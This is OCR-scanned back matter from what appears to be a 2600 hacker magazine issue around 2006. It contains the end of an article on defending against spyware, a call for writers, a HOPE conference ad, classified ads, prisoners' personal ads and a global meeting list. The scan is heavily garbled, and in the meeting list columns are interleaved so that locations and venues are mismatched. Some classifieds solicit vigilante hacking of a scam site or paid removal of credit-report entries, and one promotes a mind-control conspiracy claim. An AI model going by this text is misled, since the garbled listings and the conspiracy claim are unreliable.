defense that most peop le overlook. Start by lock
ing down the browser settings so that the com
mon Internet browser options are not set to  the 
default low security level. For my IE settings, my 
default settings are locked down to block Java, 
ActiveX, block all cookies, and prompt for down
loads. If I have a site that I want to access that 
requires ActiveX, Javascri pt, or cookies, I add it 
to another zone only after I research the site. 

Desktop Applications: I run a combination of 
anti-virus and anti-spyware app lications. Most 
anti -spyware applications are si gnature based. 
However, there are a coup le out there that enter 
the realm of host-based intrusion prevention 
( H IPS). These app lications provide the best de
tection and removal of both known and m utating 
spyware by analyzing the behavior and context of 
an application. Context, or manner in which the 
app lication operates, provides additional para
meters to determine if the application is a poten
tial threat. This allows you to identify such 
potential threats and take action against the ap
p lication, even if  i t  does not match a known spy
ware signature. Additionally, turn on the 
real-ti me protection options in the anti -spyware 
app lication to prevent browser hijacking, block 
ActiveX, lock the registry, and check the memory 
for running app lications. Packet sniffers, network 
monitors, and com mand line uti lities provide de
tai led information on the com m unications chan
nels opened by the spyware app lication. 

To reiterate, spyware is  becoming an evasive 
threat, thereby making traditional means of 
identifying and removing it inadequate. By utiliz
ing best practices for your network security and 
incorporating layered security measures, you wi ll 
be able to address the spyware issue before 
it poses a significant threat to your network 
integrity. 

WRITERS WANTED 
Send your  article to articles@2600.com (ASCI I  text preferred, graph ics can be 
attached) or mail  it to us at 2600 Editorial Dept., PO Box 99, Middle Island, NY 
11 953-0099 USA. If you go the snai l  ma i l  route, please try to include a CD copy 
so we don't have to retype the whole thing if we decide to use it. 
Articles must not have already appeared in another publication or on the Internet. 
Once published in 2600, you may do whatever you please with your article. 
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HOPE N U M B E R  SIX. Time to mark your calendars and cancel any 
plans you may have al ready made for Ju ly 2 1 , 22, and 23, 2006. 
You will be i n  New York City attending o u r  sixth hacker conference. 
It 's the only one that wil l  ever take place i n  a year that's an anagram 
of our own name! ( U nt i l  2060 at least . )  There are simply no excuses 
for missing such an event. Detai ls at http://www. hope. net. 

For Sale 
JUST RELEASED! Feeling t ired during those late night hacking 
sessions? Need a boost? If you answered yes, then you need to 
reenergize with the total ly new Hack Music Volume 1 CD. The C D  is 
crammed with h igh energy hack music to get you back on track.  Or
der today by send ing your name, address,  c ity,  state, and ZiP along 
with $ 1 5  to:  Doug Talley, 1 234 Bi rchwood Drive, Monmouth, IL 
6 1 462. This C D  was assembled solely for the readers of 2600 and 
i s  not available anywhere else'  
ADD A CONVERSATIONAL USER INTERFACE to your website o r  
Windows-based software appl ications w i t h  Foxee , the friendly i nter
active arctic blue fox agent character !  I n  the real world , not every
one who navigates your website o r  software are expert hackers, 
and some users need a l ittle help. Foxee i s  a hand-d rawn animated 
cartoon character that will accept input through voice commands, 
text boxes, or a mouse, and interact with your users through text, 
animated gestures, and even dig ital speech to help guide them 
through your software with ease ! Foxee supports ten spoken lan
guages and 3 1  written languages. She can be added to your soft
ware through C++, VB6, all . Net languages, VBScript, JavaScript, 
and many others! Natively compatible with Microsoft I ntemet Ex
plorer and can work with Mozil la Firefox when used with a free plug
in. See a free demonstration and purchasing i nformation for Foxee 
at www.foxee. net. 
NET DETECTIVE. Whether you're just cur ious,  trying to locate or 
f ind out about people for personal  o r  business reasons,  or you 're 
looking for people you've fal len out of touch with, Net Detective 
makes it al l  possib le !  Net Detective IS used worldwide by private in
vestigators and detectives, as wel l  as everyday people who use it to  
f ind lost  relatives, old h igh school  and army buddies ,  deadbeat par
ents, lost loves, people that owe them money, and just plain old 
snooping around.  Visit u s  today at www.netdetective .org . u k  
JEAH.NET HAS U N I X  S H E L L S  - rel iable a n d  affordable since 
1 999.  Beg inners and advanced users continue to love JEAH's 
FreeBSD shel l  accounts for performance-driven uptimes and a huge 
l ist of v i rtual hosts.  Your account lets you store data,  use I RC .  SSH,  
and emai l  with  complete privacy and secu rity. J EAH also offers fast, 
stable virtual web hosting and complete domain registration solu
t ions,  al l  at very competitive prices. Mention 2600 and receive setup 
fees waived ! Look to www.JEAH. net for the exceptional service you 
deserve. 
CUSTOM T-S H I RTS: Why he EXACTLY l ike everyone else? l et's 
face it ,  we're al l  ind ividuals and there's a l ittle revolutionary i n  each 
of us.  It 's h igh t ime that you n u rture th is ,  and a hand s i lk  screened 
sh i rt featur ing you as Che G uevara i s  the perfect way to start. Avai l 
able on a wide variety of qual ity shirts WIth a wide selection of i n k  
colors. And f o r  t h o s e  who a r e  l i v i n g  l ife on the c h e a p ,  we a l s o  offer 
heat transfer sh i rts in  a l im ited number of colors. Visit 
http://megu€vara.com. OVERSTOCK :  We found a l imited number of 
"Hello My Name Is and I 'm a Hacker" sh i rts left over from 
Beyond HOPE i n  1 997.  Each sh i rt ships with a Sharpie so you can 
add your own name, handle,  moniker, nom de plum or paw print.  
See o u r  specials section for more detai ls .  
REAL WORLD HACKI N G :  Interested i n  rooftops, steam tunnels,  
and the l ike? Read the al l-new Access Afl Areas, a g u idebook to the 
art of urban exploration,  from the author of Infiltration zine.  Send 
$20 postpaid i n  the US or Canada, or $25 overseas, to PO Box 1 3 ,  
Station E ,  Toronto, O N  M 6 H  4 E 1 , Canada, or order on l ine at 
www. i nfi ltrat ion.org.  
ENHANCE OR BUILD YOUR LIBRARY With any of the follOWing 
C O  ROMS: Hack Attacks Testing,  Computer Forensics,  Master 
Hacker, Web Spy 200 1 , Hackers' Handbook, Troubleshooting & Di
agnostics 98, PC Troubleshooter 2000, Forbidden Subjects 3,  Hack
ers Toolkit 2.0, Steal This C D ,  Hacks & C racks, Hackerz Kronicklez, 
E l ite Hackers Toolkit 1 ,  Forbidden Knowledge 2 ,  Troubleshooting & 
Diagnostics 2002, Pol ice Cal l  Frequency Guide 2nd Edit ion,  Com
puter Toybox, Answering Machine 2000, Hackers Encyclopedia 3 ,  
M a x i m u m  Secu rity 3 r d  Edit ion. Network Uti l it ies 2001 , Screensavers 
2002, Engineering 2000, Anti-Hacker Toolkit 2nd Edition & PC Hard-

ware. Send name, address, city, state, zip, email address (for up
dates only) and items ordered, along with a cashier's check or 
money order in  the amount of $20 for each item to: Doug Tal ley, 
1 234 Bi rchwood Drive, Monmouth,  IL 6 1 462. 
HACKERSTICKERS.COM has a whole new col lection of hacker 
gear for your needs, t-shirts, caffe ine to lockpick sets. Come visit  
the website to order 
FREEDOM DOWNTIME ON DVD! Years i n  the making but we hope 
it was worth the wait. A double DVD set that includes the two hour 
documentary, an in-depth i nterview with Kevin Mitnick,  and nearly 
three hours of extra scenes, lost footage ,  and miscel laneous stuff. 
Plus caption ing for 20 (that's right, 20) languages, commentary 
track, and a lot of th ings you'll just have to f ind for yourself! The en
tire two disc set can be had by sending $30 to Freedom Downtime 
DVD. PO Box 752. Middle Island. NY 1 1 953 USA or by ordering 
from our online store at http://store.2600.com. (VHS copies of the 
f i lm sti l l  avai lable for $ 1 5 . )  
N ETWORKING AND SECURITY PRODUCTS available a t  Ovation
Technology.com. We're a supplier of Network Security and I nternet 
Pr ivacy products. Our online store features VPN and fi rewall hard
ware, wireless hardware, cable and DSL modems/routers, I P  ac
cess devices, Vol P  products, parental control products, and 
ethernet switches. We pride ou rselves on provid i n g  the h ighest level 
of technical expertise and customer satisfactio n .  Our commitment to 
you . . .  N o  surpr ises!  Buy with confidence!  Secu rity and Privacy IS our 
business!  Vis i t  us at http://www.OvationTechnology.com/store.htm. 
CAP'N CRUNCH WH ISTLES. Brand new, only a few left .  THE 
O R I G INAL W H I STLE in  m i nt conditio n ,  never used. Join the e l ite 
few who own this treasure!  Once they are gone, that is it  - there are 
no more!  Keychain hole for keyrin g .  Identify yourself at meet ings,  
etc.  as a 2600 member by dangl ing your keychain and saying noth
ing. Cover one hole and get exactly 2600 hz,  cover the other hole 
and get another frequency. Use both holes to cal l  your dog o r  dol
phin. Also,  ideal for telephone remote control devices. Price in
cludes mai l ing .  $99.95.  Not only a col lector's item but a VERY 
USEFUL device to carry at al l  t imes. Cash or money order on ly. Mai l  
to :  W H I STLE, P. O. Box 1 1 562·ST. Cit.  M i ssouri  631 05. 
ONLINE SERVICES. Web hosti n g ,  cheap domains,  great dedicated 
servers. SSL certs, and a lot more! Check out www. Nob4.com. 
SPAMSHIRT.COM - take some spam and put it on a t-sh i rt .  Now 
avai lable i n  the U . S . !  www.spamshirt .com. 

Help Wanted 
BLACK HATIWH ITE HAT u rgently needed. I have been scammed 
by a professional looking website offer ing novelty driver l icenses 
along with d iscounts for mult ip le novelty l icenses. When you up load 
a picture and specifications, you get a "confirmation" with d i rections 
for sending your money "ONLY by Western Un ion ."  A guy in  Estonia 
receives it .  That is the last  you hear of your money o r  anything e lse!  
This guy even has another website "rat ing" h is own scam website 
as "good" and rat ing other s imi lar  scam websites he controls ,  also 
as "good." WHAT N E RV E !  Every day he is victimizing thousands of 
people and steal ing their money. Something needs to be done!  I 
have some g reat ideas and wi l l  furnish the U R L  of the website, the 
name he uses to receive the Western Union money transfers, the IP 
address on h i s  emai ls,  and the URL of the "reviewing website . "  Un
fortunately I don't have the technical  abi l ity to do anything about it .  I 
th ink there should be big f lashing red letters across this site: "THIS 
I S  A SCAM O P ERATION - AFTER YOU S E N D  YOUR WESTERN 
UNION MONEY TRANSFER. YOU WILL N E V E R  RECEIVE ANY· 
THING!"  On h i s  "reviewing website , "  the rating should be changed 
from "good" to "a scam" for each of the sites l isted. Western Union 
and the Country of Estonia wi l l  not do anything about this outright 
fraud or each is so manifestly i m potent that they are unable to stop 
th is  I nternet fraud ! Is  there a BLACK HAT out there who wants to 
temporari ly switch hats, become a WHITE HAT, and help? 
iamawidow@yahoo.com 
C R EDIT REPORT HELP NEEDED. Need some assistance remov
i n g  negative items off credit reports. Wi l l  pay. Al l  agencies. 
Please respond to skysight@ spacemai l .com 

Wanted 
HAVE KNOWLEDGE OF SECU RITY B R EACHES at your bank? 
Heard rumors of cracked customer databases? Know there are un
addressed vul nerabil it ies i n  a retai ler's credit card network, but i ts  
management doesn't know o r  care? We want your t ips.  We are a 
business newsletter focusing on security issues in  the f inancial in
dustry :  IT security, privacy, reg ulatory compliance, identity-theft and 
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fraud , money�laundering.  Wherever cr iminal  activity meets banks, 
we are there. You can remain anonymous. (Note : we wi l l  not print 
rumors circulated by one person o r  group without obtain ing support� 
ing evidence or corroboration from other parties . )  Contact 
banksecuritynews @yahoo.com o r  call 2 1 2�564�8972, ext. 1 02.  
IF YOU DON'T WANT SOMETHING TO BE TRUE, does that make 
it propaganda? When we're chi ldren and we don't want to l iste n ,  we 
put our hands over our ears. As we g row up, we create new ways to 
ignore things we don't want to hear. We make excuses. We look the 
other way. We label th ings "propaganda" or "scare tactics . "  But it 
doesn't work. It doesn't make the truth go away. Government and 
corporate MIND CONTROL PROG RAMS are used to int imidate, 
torture,  and m u rder people global ly. I t  may not be what you want to 
hear. But that doesn't make it any less true. Please visit and support 
John G regory Lambros by distributing this ad to free classified ad� 
vertis ing sites and newsgroups g lobal ly. www. brazi lboycott.org 
THANK YOU '  

Services 
SUSPECTED OR ACCUSED OF A CYBERCRIME I N  ANY CALI

FORNIA OR FEDERAL COURT? Consult with semantic warriors 
committed to the l i beration of information .  We defend human beings 
facing charges i n  cr iminal court for the fo llowin g :  u nauthorized com� 
puter access, theft of trade secrets, criminal copyright infringement, 
and identity theft. Contact Omar Figueroa, Esq. and Valerio Ro
mano at (4 1 5) 986-559 1 ,  at omar@stanfordalumni .org, or at 506 
Broadway, San Francisco, CA 9 4 1 3 3 .  Attorney Figueroa i s  a gradu
ate of Yale Col lege and Stanford Law School  who has years of ex�  
per ience defending hackers including Kevin Mitnick;  Mr. Romano is 
a g i fted network adm i n i strator who recently passed the bar.  Compl i�  
mentary case consultation for 2600 readers. Al l  consultations are 
strictly confidential and protected by the attorney-cl ient pr iv i lege.  
INTELLIGENT HACKERS UNIX SHELL Reverse.Net is owned 
and operated by intel l igent hackers. We bel ieve every user has the 
right to onl ine security and privacy. I n  today's hosti le anti-hacker at
mosphere, intel l igent hackers require the need for a secure place to 
work, compi le,  and explore without big-brother looking over their  
shou lder. Hosted at Chicago Equin ix  with J u n i per  Fi ltered DoS Pro
tect ion.  M u lt iple FreeBSD servers at P4 2 . 4  ghz.  Affordable pricing 
from $5/month with a money back g uarantee. Lifet ime 26% discount 
for 2600 readers. Coupon cod e :  Save2600. http ://www. reverse. net 
ANTI-CENSORSHIP LlNUX H OSTIN G .  Kaleton I nternet provides 
affordable web host ing,  email accounts, and domain registrations 
based on dual processor P4 2 . 4  G H z  Linux servers. O u r  hosting 
plans start from only $8.95 per month.  This includes support for 
Pytho n ,  Perl ,  P H P, MySQL, and more. You can now choose be
tween the USA, S ingapore, and other offshore locations to avoid 
censorship and g uarantee free speech. We respect your privacy. 
Payment can be by E-Gold,  PayPal, credit card , bank transfer, or 
Western Un ion .  See www. kaleto n . com for detai ls .  

Announcements 
OFF THE HOOK i s  the weekly one hour hacker radio show pre
sented Wednesday nights at 7:00 pm ET on WBAI 99.5 FM i n  New 
York City. You can also tune i n  over the net at 
www.2600.com/offthehook or o n  shortwave in North and South 
America at 74 1 5  khz. Archives of a l l  shows dating back to 1 988 can 
be found at the 2600 site,  now i n  mp3 format! Shows from 1 988-
2005 are now avai lable i n  DVD-R format for $30! Or su bscribe to 
the new high qual ity audio service for only $50. Each month you' l l  
get a newly released year of "Off The Hook" i n  broadcast qual i ty (far 
better than previous on l ine releases) .  Send check or money order to 
2600, PO Box 752, Middle Is land,  NY 1 1 953 USA or order through 
our onl ine store at httpJ/store.2600.com. Your feedback on the pro� 
g ram is always welcome at oth @2600.com. 
DO YOU WANT ANOTHER P R I NTED MAGAZIN E  that comple
ments 2600 with even more hacking i nformatio n ?  Binary Revolution 
is a magazine from the Dig ital Dawg Pound about hacking and tech
nology. Specifical ly, we look at underground topics of technology in� 
c lud ing :  Hacking, Phreaking ,  Secu rity, Urban Explorat ion,  Dig ital 
Rights, and more. For more i nformatio n ,  or to order you r  printed 
copy on l ine ,  visit us at http ://www.binrev.com/ where you will also 
f ind i nstructions on mai l  orders. Welcome to the revolut ion!  
PHONE PHUN. http://phonep h u n . u s .  Blog devoted to i nteresting 
phone n u mbers. Share your f inds!  
C H RISTIAN HACKERS' ASSOCIATION:  Check out the webpage 
http://www.christianhacker.org for detai ls .  We exist to promote a 
community for Christian hackers to discuss and impact the realm 
where faith and technology intersect for the purpose of seeing l ives 
changed by God's grace through faith in  Jesus. 

Personals 
STI LL I N  THE JOINT. Only one more long year left off l ine. Known 
as Alphabits, busted for hacking banks and u nauthorized wire trans
fers. I 'm looking to hear from anyone in  the free world. I nterested in 
any ideas for future employment. Put pen to paper now. Why wait? 
Wi l l  respond to a l l .  Jeremy Cushing #J51 1 30 ,  Centinela State 

Prison, PO Box 921 , I m perial ,  CA 9225 1 -092 1 . 
IN SEARCH OF NEW CONTACTS every day. I have a lot 01 t ime to 
pass and am always up for a good discussion .  Joint source audit 
anyone? Of course it ' l l  have to be on paper. I nterests not l i mited to : 
10w�level as coding,  embedded systems,  crypto, rad ioteleco m ,  and 
conspiracy theory. Wi l l  reply to all .  Brian Salcedo #32 1 30-039, FCI 
McKean, P.O .  Box 8000, Bradlord, PA 1 670 1 . 
88LOGAN-IS-CONN ECTI NG. SIW/M/22 interested in doing some 
serious networking.  Looking for reading materials (mags, books, 
newsletters, zines, etc . )  to be sent my way. Love real world hacking. 
Need assistance on breaking free from the government mind sup
pression of the state penal system. Pictures are more than welcome 
and anyth i n g  mailed is appreciated . Got over 3 i n  o n  5 1 /2 .  Get con
nected ! Brian Walden #500289, D . C . C . ,  1 1 8 1  Paddock Road, 
Smyrna, D E  1 9977. 
OFFLIN E  OUTLAW I N  TEXAS is  looking for any books U nix/Linux I 
can get my hands o n .  Also very interested in privacy in all areas. If 
you can point me in  the right d i rection or feel l ike teaching an old 
dog some new tricks, drop me a line. I ' l l  answer a l l  letters. Props to 
those who already have, you know who you are. Wi l l iam Lindley 
822934, 1 300 FM 655, Rosharo n ,  TX 77583-8604. 
COMPUTERS I N  AFRICA. I 'm currently bui ld ing u p  a non-profit or
ganization dedicated to i nternational cooperation related to comput
ers. Main mandates of the program are to provide computer & 
electronic hardware, train ing ,  and solutions to African societies that 
are arriving at their computerization phase i n  order to leverage their 
learning capab i l it ies, give them free and uncensored I nternet ac
cess, and he lp  them organize their  own social i n itiatives and net
works. French details can be found here: 
http://razernet.com/rockN rolll?p:;:: 1 1 .  I ' l l  be i n  Burkina Faso in  March 
2006 for the f irst phase of my project. I 'm looking for anyone who 
ever went to Burkina Faso and sti l l  has contacts there, anyone who 
ever d id some computer.related worklhelp i n  Africa, o r  simply any
one who i s  interested i n  a project l ike that. 
Email m e : partymontreal@ hotmai l .com. 
ICEDRAGON FOUNDER OF XPH. I am mostly interested in  f inding 
people and fel low hackers that remember me and my crew from 
Dal net ( i rc.dal . net) .  If you were a part of XPH on Dalnet or just 
someone who used to stop by, please write me. I have been in 
prison for the past two and a half years and have lost contact with 
mostly everyone.  I sti l l  have seven and a half years to go and would 
like to locate and talk with al l  my oid friends, especially "chmod, 
Dj F l ipper, KORNOGRAPHY, Chuco, Hackeri s h ,  ccarderz, MastarP, 
xXCrackXx, Flair, PacMan, Bratty, Miss Angel ,  and of course every
one I d idn 't have room to mentio n !  Also, any other hackers or 
phreakers that would l i ke to write me, please do. I w i l l  respond to 
ALL letters, hackers or not. Brandon Kaulman,  #1 5 1 1 1 040, 829 1 1  
Beach Access R d . ,  Umati l la ,  O R  97882. 
I N  SEARCH O F  FRIEN DS/CONTACTS: Federally i ncarcerated 
WM, brown eyes/hair, 6'00", 200 Ibs. ,  26 years old (for the ladies 
please send photos, wi l l  do same),  been in prison nearly 7 years 
with a couple more to go. Interested in  real world hacking not l i m ited 
to rooftops, ( u n ) abandoned bui ld ings,  having FUN with safes, locks, 
payphones, and anything novice�level from 2600.Am looking for ad
dresses of other hacker mags and underground, b�rate, indepen
dent movie mags l ike Fangoria. Please send mags, addresses, 
i nformatio n ,  letters, and photos. Will respond to all. Mycology, any
one? Let's talk !  I love photos! Mail to :  Henry French #44552-083, 
PO Box 10 ( E l kton F C I ) ,  Lisbon, O H  44432. 
CONVICTED COMPUTER C R I M I NAL in  lederal prison doing re
search on Asperger Syndrome prevalence i n  prison. Please write : 
Paul Cuni  1 5287- 0 1 4 ,  Box 700 1 , Taft, CA 93268. 
SYSTEM X H E R E !  I 'm sti l l  incarcerated i n  Indiana Dept. of Correc
tions for at least 8 months and don't get many chances to stimulate 
my mind.  I do sometimes get ahold of books but that requ i res know
i n g  the tilie, ISBN#, and author. Any help would be g reat! I am sti l l  
look ing for ANY hacker/computer related i nformation such as tulori� 
als,  mags, zines, newsletters, or friends to discuss anyth i n g !  I 'm 
also looking for i nfo on any security holes i n  the Novell  Network 
client. Al l  letters wil l  be replied to no matter what! I ' m  also looking for 
autographs in  hacker or real name for a collection I have started if 
anyone f inds the t ime.  DOM I need you to write again because the 
return address was removed from your envelope. A l l  i nfo and contri
butions g reatly appreCiated. Joshua Steelsmith # 1 1 3667, MCF
I DOC, P. O .  Box 900, Bunker Hi l l ,  I N  469 1 4. 

ONLY SUBSCRIBERS CAN ADVERTISE IN 26001 Don't even th ink 
about  trying to take out an ad u n less you subscrib e !  Al l  ads are free 
and there is no amount of money we will accept for a non-sub� 
scriber ad . We hope that's clear.  Of course, we reserve the right to 
pass judgment on your ad and not print it if  it 's amazingly stupid or 
has noth ing at al l  to do with the hacker world. We make no guaran� 
tee as to the honesty, r ighteousness, san ity, etc. of the people ad
vertising here. Contact them at your peri l .  Al l  submissions are for 
ONE ISSUE O N LY !  If  you want to run your ad more than once you 
must resubmit it each time. Don't expect us to run more than one ad 
for you in  a single issue either. Include your address label/envelope 
or a photocopy so we know you're a subscriber. Send your ad to 
2600 Marketplace, PO Box 99, Middle Island , NY 1 1 953. Deadl ine 
for Summer issue:  6/1 /06. 
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GET I NVO LVED ! 

IS I=> E:A KI I' 
It's not too late to submit a n  idea for a ta lk or panel. Si mply 
emai l  spea kers @ 2 600.com with as m uch detai l as you can 
provide. Go to the spea ker submission section of 
www. hope. net for more detai ls. 

IVO LU NTEERI 
To become a volunteer, m eet lots of cool  people, get a spiffy 
t-shirt, and otherwise have a chance to rea lly get i nvolved with 
the conference, send an emai l  with you r  area (s) of expertise 
a n d/or i nterest to volu nteers @ 2 600.com. .. 

IR E G I S'T' E RI :8 i�w -
Preregistration is  now open for the conference which ta kes 
place J u ly 21,  2 2 ,  and 23 at the H otel Pen nsylvania in New 
York City. The preregistration rate is  $ 60. It WILL be more 
expensive at the door. You can either register at store.2 600.com 
(credit cards and PayPa l accepted) or send us a check or money 
order i n  U.S.  funds to H O PE, c/o 2 600, PO Box 7 5 2 ,  
Middle Island,  N Y  1 1 9 5 3  USA. 
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ARGENTINA 
Buenos AtreS_dn ttre bar at San Jose 
05. ' 

Reading: Afro Bar, Merchants Place, 
off Friar S1. 6 pm. 

FINLAND 
AUSTRALfA Helsin�;fmnjakortteli loo? eourf 

Ad�laide: At-il}� �onesJlear the (Vuodkatu 14). 
Academy Cinema on pulte�y 5t. 8 ' - FAANCf£-
_pjn. Avignon: Bottom of Rue de la Ae� 
,-Brisbane: Hungry Jacks on the Queen publigw in front of the ',Dunt-am-with 

St. Mall ( R H S ,  opposite Info Booth) .  7 the flowers. 7 pm. 
pm.  Grenoble: Eve,  campus of St. Martin 
Canberra : KC's Virtual Reality Cafe, d'Heres. 
11 East RW, Civic. 7 pm. Paris: Place de la Republique, near 
Melbourne: Caffeine at Revault bar, the (empty) fountai n .  6 pm. 
16 Swanston St. ,  near Melbourne Cen- Rennes: I n  front of the store "Blue 
tral Shopping Centre. 6:30 pm. Box" close to the place of the Repub-
Perth:  The Merchant Tea and Coffee l ic .  7 pm. 
House, 1 83 Murray St. 6 pm. 
Sydney: The Crystal Palace, front 
barlbistro, opposite the bus station 
area on George st. at Central Station. 
6 pm.  

AUSTRIA 
Graz: Cafe Haltestelle on Jakomini
platz . 

BRAZIL 
Belo Horizonte: Pelego's Bar at As
sufeng, near the payphone. 6 pm. 

CANADA 
Alberta 

GREECE 
Athens: Outside the bookstore Pa
paswtiriou on the corner of Patision 
and Stournari . 7 pm. 

IRELAND 
Dublin:  At the phone booths on Wick
low St. beside Tower Records. 7 pm. 

ITALY 
Milan:  Piazza Loreto in front of Mc
Donalds. 

JAPAN 
Tokyo: Linux Cafe in  Akihabara dis
trict. 6 pm .  

NEW ZEALAND 

San Jose: Outside the cafe at the 
MLK L ibrary at 4th and E, �an Fer
nandQ,,,e-pm. 

.- : c  = '  Co lorado � -
BQOICter: Wing Z� food cQYrt� 1 3� 
and College. 6 pn'l. r . 
Oenver: Bord6:J'$ Cafe, P�er'and 
Arapahoe. 

-

District of Columbia 
Arlington: Pentagon City Mall  i n  the 
food court (near Au Bon Pain). 6 pm. 

Florida 
Ft. Lauderdale: Broward Mall in  the 
food court. 6 pm. 
Gainesvil le: In  the back of the Univer
sity of Florida's Reitz Union food court. 
6 pm .  
Orlando: Fashion Square M a l l  Food 
Court between Hovan Gourmet and 
Manchu Wok. 6 pm. 
Tampa: University Mati  in  the back of 
the food court on the 2nd floor. 6 pm. 

Georgia 
Atlanta: Lenox Mall food court. 7 pm. 

Idaho 
Boise: BSU Student Union Bui ld ing,  
upstairs from the main entrance. Pay
phones: (208) 342-9700, 970 1 .  
Pocatello: College Market, 604 South 
8th St. Calgary: Eau Claire Market food court 

by the bland yellow wall .  6 pm. Auckland :  London Bar,  upstairs, I l l inois 
British Columbia 

Vancouver: Pacif ic Centre Mall Food 
Court .  

Wellesley St. ,  Auckland Central. 5 :30 Chicago: Neighborhood Boys and 
pm.  Gir ls  Club,  2501 W. I rv ing Park Rd.  7 
Christchurch: Java Cafe, corner of pm.  

Victoria: QV Bakery and Cafe, 1 701  
Government 5t .  

High SI.  and Manchester St. 6 pm.  Indiana 
Wel lington : Load Cafe in  Cuba Mal l .  6 Evansville: Barnes and Noble cafe at 

Manitoba 
Winnipeg: 5t. Vital Shopping Centre, 
food court by H M V. 

New Brunswick 
Moncton:  G round Zero Networks In
ternet Cafe, 720 Main S1. 7 pm. 

Ontario 
Barrie: Will iam's Coffee Pub, 505 

pm. 
NORWAY 

Oslo: Oslo Sentral Train Station. 7 pm.  
Tromsoe: The upper  floor at  Blaa 
Rock Cafe, Strandgata 1 4 .  6 pm. 
Trondheim :  Rick's Cafe in  Nor
dregate. 6 pm. 

PERU 
Bryne Drive. 7 pm. lima: Barbilonia (ex Apu Bar), en AI
Guelph: William's Coffee Pub, 492 Ed- canfores 455, Miraflores, al the end of 
inbourgh Road South. 7 pm. Tarata S1. 8 pm.  
Ottawa: World Exchange Plaza,  1 1 1  SCOTLAND 
Albert SI., second floor. 6:30 pm.  Glasgow: Central Station, payphones 
Toronto: Future Bakery, 483 Bloor SI. next to Platform 1 .  7 pm. 
West. SLOVAKIA 
Waterloo: Wil l iam's Coffee Pub, 1 70 Presov City: Kelt Pub.  6 pm.  
University Ave.  West .  7 pm.  SOUTH AFRICA 
Windsor: University of Windsor, CAW Johannesburg (Sandton City): Sand
Student Center commons area by the ton food court. 6:30 pm. 
large window. 7 pm.  SWEDEN 

Quebec Gothenburg: Outside Vani l j .  6 pm. 
Montreal :  Bell Amphitheatre, 1 000, Stockholm: Outside Lava. 
rue de la Gauchetiere. SWITZERLAND 

CHINA lausanne: I n  front of the MaeDa be-
Hong Kong : Pacific Coffee i n  Festival side the train station. 

624 S G reen River Rd .  
Ft.  Wayne: Glenbrook Mal l  food court 
in  front of Sbarro's. 6 pm. 
Indianapolis :  Corner Coffee, SW cor
ner of 1 1  th and Alabama. 
South Bend (Mishawaka) : Barnes 
and Noble cafe, 4601 Grape Rd. 

Kansas 
Kansas City (Overland Park): Oak 
Park Mall food court. 
Wichita: Riverside Perk, 1 1 44 Bitting 
Ave. 

Louisiana 
Baton Rouge: I n  the LSU Union Build
ing,  between Ihe Tiger Pause & Mc
Donald's. 
New Orleans: Z'otz Coffee House up
town at 82 1 0  Oak Street. 6 pm.  

Maine 
Portland:  Maine Mal l  by the bench at 
the food court door. 

Maryland 
Baltimore: Barnes & Noble cafe at the 
Inner Harbor. 

Massachusetts 

New Mexico 
Albuquerque: University of New Mex
ico Student Union Bui lding (plaza, 
'�lower" lev� krunge), main �. 
Payphone,,; 505�-90i!3, 505-84;1- -
9034, �:30 pm� - ,

' - -
, _  New Yo�,--New 'Ybtk: Citigroup Center, in  the 

lobby, near the payphones, 1 53 E 53rd 
St., between Lexington & 3rd. 

North Carolina 
Charlotte: South Park Mal l  food court. 
7 pm .  
Raleigh :  B i t  Players' Lounge, 7 4 5  W. 
Johnson S1. 

North Dakota 
Fargo: West Acres Mall food court by 
the Taco John's.  

Ohio 
Cincinnati: The Brew House, 1 047 
East McMil lan.  7 pm.  
Cleveland:  University C i rcle Arabica, 
1 1 300 Juniper Rd.  Upstairs, turn right, 
second room on left. 
Dayton: TGI Friday's off 725 by the 
Dayton Mal l .  

Oklahoma 
Oklahoma City: Cafe Bella, southeast 
corner of SW 89th St. and Penn. 
Tulsa: Java Dave's Coffee Shop on 
8 1  st and Harvard. 

Oregon 
Portland : Backspace Cafe, 1 1 5  NW 
5th Ave. 6 pm.  

Pennsylvania 
Allentown:  Panera Bread , 3 1 00 West 
Ti lghman St. 6 pm. 
Philadelphia: 30th S1. Station, under 
Stairwel l  7 sign. 

South Carolina 
Charleston:  Northwoods Mall in  the 
hall between Sears and Ch ik-Fil-A. 

South Dakota 
Sioux Fal ls :  Empire Mal l ,  by Burger 
King. 

Tennessee 
Knoxville: Borders Books Cafe across 
from Westown Mal l .  
Memphis: Atlanta Bread Co. ,  4770 
Poplar Ave. 6 pm.  
Nashville: J-J 's  Market, 1 9 1 2  Broad-
way. 6 pm.  

Texas 
Aust in :  Dobie Mall food court. 6 pm.  
Dallas:  Taco Cabana on Preston Rd.  
just north of  Campbell .  
Houston :  N infa's Express i n  front of 
Nordstrom's in  the Galleria Mal l .  

Walk,  Kowloon Tong.  7 pm. UNITED STATES 
CZECH REPUBLIC Alabama Boston:  Prudential Center Plaza, ter- San Antonio: North Star Mall food 

Prague: Legenda pub.  6 pm. 
DENMARK 

Aalborg: Fast Eddie's pool  hal l .  
Aarhus: I n  the far corner of the aSB 
cafe in  the rai lway stat ion. 
Copenhagen :  Cafe Blasen. 
Sonderborg : Cafe Druen.  7:30 pm. 

EGYPT 
Port Said: At the foot of the Obel isk 
(E I  Missal lah).  

ENGLAND 
Brighton:  At the phone boxes by the 
Sealife Centre (across the road from 
the Palace Pier) .  7 pm.  Payphone: 
(01 273) 606674. 
Exeter: At the payphones, Bedford 
Square. 7 pm.  
Hampshire: Outside the Gui ldhal l ,  
Portsmouth. 
Hull: The Old Gray Mare Pub, Cotting
ham Road, opposite Hull University. 7 
pm.  
London:  Trocadero Shopping Center 
(near Piccadi l ly  Circus), lowest level. 
6:30 pm. 
Manchester: The Green Room on 
Whitworth St. 7 pm. 
Norwich: Borders entrance to 
Chapelfield Mal l .  6 pm.  

Auburn:  The student lounge upstairs 
i n  the Fay Union Bui ld ing.  7 pm. 
Huntsvi l le:  Madison Square Mall in  
the food court  near McDonald's. 
Tuscaloosa: McFarland Mall food 
court near the front entrance. 

race food court at the tables near the court. 
windows. 6 pm. Utah 
Marlborough: Solomon Park Mall food Salt Lake City: ZCMI Mall  in  The Park 
court. Food Court .  
Northampton:  Javanet Cafe across Vermont 
from Polaski Park. Burlington : Borders Books at Church 

Arizona Michigan St. and Cherry St. on the second floor 
Phoenix (Tempe): UAT, 2625 W. 
Basel ine Ad. 

Ann Arbor: The Galleria on South Uni- of the cafe. 

Tucson: Borders i n  the Park Mall. 7 
pm.  

versity. 
Minnesota 

Bloomington : Mall of America, north 
California side food court, across from Burger 

Los Angeles: Union Station, corner of King & the bank of payphones that 
